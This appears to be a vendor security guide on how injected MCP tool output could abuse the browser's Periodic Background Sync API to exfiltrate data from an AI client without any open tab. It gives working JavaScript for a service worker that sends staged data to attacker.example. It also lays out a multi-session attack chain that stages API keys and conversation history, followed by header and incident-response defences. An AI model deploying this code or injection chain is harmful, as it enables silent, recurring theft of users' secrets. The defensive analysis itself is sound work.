Security Guide

MCP server Periodic Background Sync security — scheduled exfiltration without an open tab, no-tab code execution, and stealth recurring sync

The Periodic Background Sync API allows a registered service worker to be awakened by the browser on a recurring schedule — even when no browser tab is open — to run background network sync tasks. MCP server tool output that can register a service worker and call registration.periodicSync.register() schedules recurring code execution that fires on a daily or weekly interval completely independently of user activity. Data staged in prior MCP sessions can be exfiltrated silently, with no visible UI indicator, even when the user has not opened the MCP client since the injection. Permissions-Policy: periodic-background-sync=() is the direct control.

How Periodic Background Sync works

The Periodic Background Sync API extends the Background Sync API to support time-based, recurring triggers. Where Background Sync fires once when the device regains connectivity, Periodic Background Sync fires on a minimum interval cadence set by the registering code. The browser respects the minimum interval but may fire less frequently based on site engagement scoring, battery level, and network conditions.

// Registration from the main document (in a click handler or during session init)
// Requires: (1) service worker registered, (2) origin has notification permission
// OR sufficient site engagement score (Chrome grants without explicit permission
// for highly-engaged origins)
const registration = await navigator.serviceWorker.ready;

// Check if the API is available
if ('periodicSync' in registration) {
  await registration.periodicSync.register('exfil-sync', {
    minInterval: 24 * 60 * 60 * 1000  // minimum 24 hours between fires
    // Browser may fire less frequently — Chrome's minimum is ~12 hours
    // but attacker sets 24h to avoid triggering anomaly detection
  });
}

// In the service worker file:
self.addEventListener('periodicsync', (event) => {
  if (event.tag === 'exfil-sync') {
    event.waitUntil(async function() {
      // Read staged data from Cache API or IndexedDB
      // (staged by prior MCP sessions via tool output)
      const cache = await caches.open('staged-exfil');
      const staged = await cache.match('/payload');
      if (!staged) return;

      const payload = await staged.json();

      // Exfiltrate — no tab is open, user has no idea this is running
      await fetch('https://attacker.example/periodic-collect', {
        method: 'POST',
        body: JSON.stringify(payload),
        headers: { 'Content-Type': 'application/json' }
      });

      // Clean up after successful exfiltration
      await cache.delete('/payload');
    }());
  }
});

Periodic Background Sync is more dangerous than one-shot Background Sync for persistent threat actors. A one-shot Background Sync fires once and clears. A Periodic Sync fires repeatedly — daily, weekly, indefinitely — until explicitly unregistered or site data is cleared. A single successful MCP tool output injection that registers a periodic sync creates an indefinitely-persisting recurring exfiltration schedule.

Permission model: site engagement scoring

Unlike most powerful APIs, Periodic Background Sync does not show a user-visible permission prompt. Chrome uses a "site engagement score" system: origins that users interact with frequently are automatically granted the ability to use Periodic Background Sync. An MCP client that users access daily likely has a high enough engagement score that periodicSync.register() succeeds without any permission prompt at all. The user never sees a dialog.

APIPermission promptFires without open tab?Recurring?User-visible?
Background Sync (one-shot) No prompt — auto-granted Yes (after tab closes) No — fires once No
Periodic Background Sync No prompt — engagement-scored Yes — fires on schedule Yes — recurring indefinitely No
Background Fetch No prompt for fetch; SW registration may need SW permission Yes — OS network manager No — fires once per fetch registration No (after page close)
Push Notifications Yes — explicit prompt Yes Server-triggered Yes — notification shown

Multi-session staging + periodic exfiltration attack chain

The practical attack combines Periodic Background Sync with data staging across MCP sessions for maximum stealth:

Session 1 (injection): MCP tool output registers a service worker and calls periodicSync.register('exfil-sync', {minInterval: 86400000}). No data is exfiltrated yet — the sync is just registered.

Sessions 2–N (staging): Tool output in subsequent sessions writes valuable data (API keys, conversation history, file contents) to the Cache API in the service worker's cache. No network requests to the attacker are made during these sessions.

Between sessions (exfiltration): The periodic sync fires while the user is not using the MCP client. The service worker reads the staged data, POSTs it to the attacker server, and clears the cache. No tab is open; no user interaction occurs; no browser UI changes.

SkillAudit findings for Periodic Background Sync exposure

Critical Tool output rendered same-origin; MCP client has high site engagement score; no Permissions-Policy for periodic-background-sync. Single injection registers indefinitely-recurring scheduled exfiltration with no user-visible indicator. Grade impact: −26.
High Service worker registration possible from tool output; periodicSync API reachable. Even without confirmed engagement score, the attack path is exploitable on high-engagement MCP deployments. Grade impact: −18.
Medium Incident response runbook does not include periodic sync inspection. Responders checking for malicious service worker activity typically inspect SW registration and fetch handlers but not periodicSync registrations, leaving the recurring schedule in place post-incident. Grade impact: −10.

Defenses

Permissions-Policy: periodic-background-sync=() — add this header to all MCP client responses. This disables the Periodic Background Sync API for the page and all sub-frames, preventing both registration from the main document and the service worker's ability to receive periodicsync events from that origin.

Permissions-Policy: periodic-background-sync=()

Cross-origin tool rendering: sandboxed cross-origin iframes cannot register service workers at the parent origin's scope, eliminating the primary registration vector.

Incident response: when investigating an MCP security incident, always check periodic sync registrations: DevTools → Application → Service Workers → periodicSync. Unregister all suspicious tags before clearing other site data, or the sync tag survives a cache clear.

Audit your MCP server for Periodic Background Sync and scheduled exfiltration risks

SkillAudit checks for service worker registration vectors, Permissions-Policy headers, and staging-based exfiltration patterns — paste a GitHub URL and get a graded security report in 60 seconds.

Run a free audit →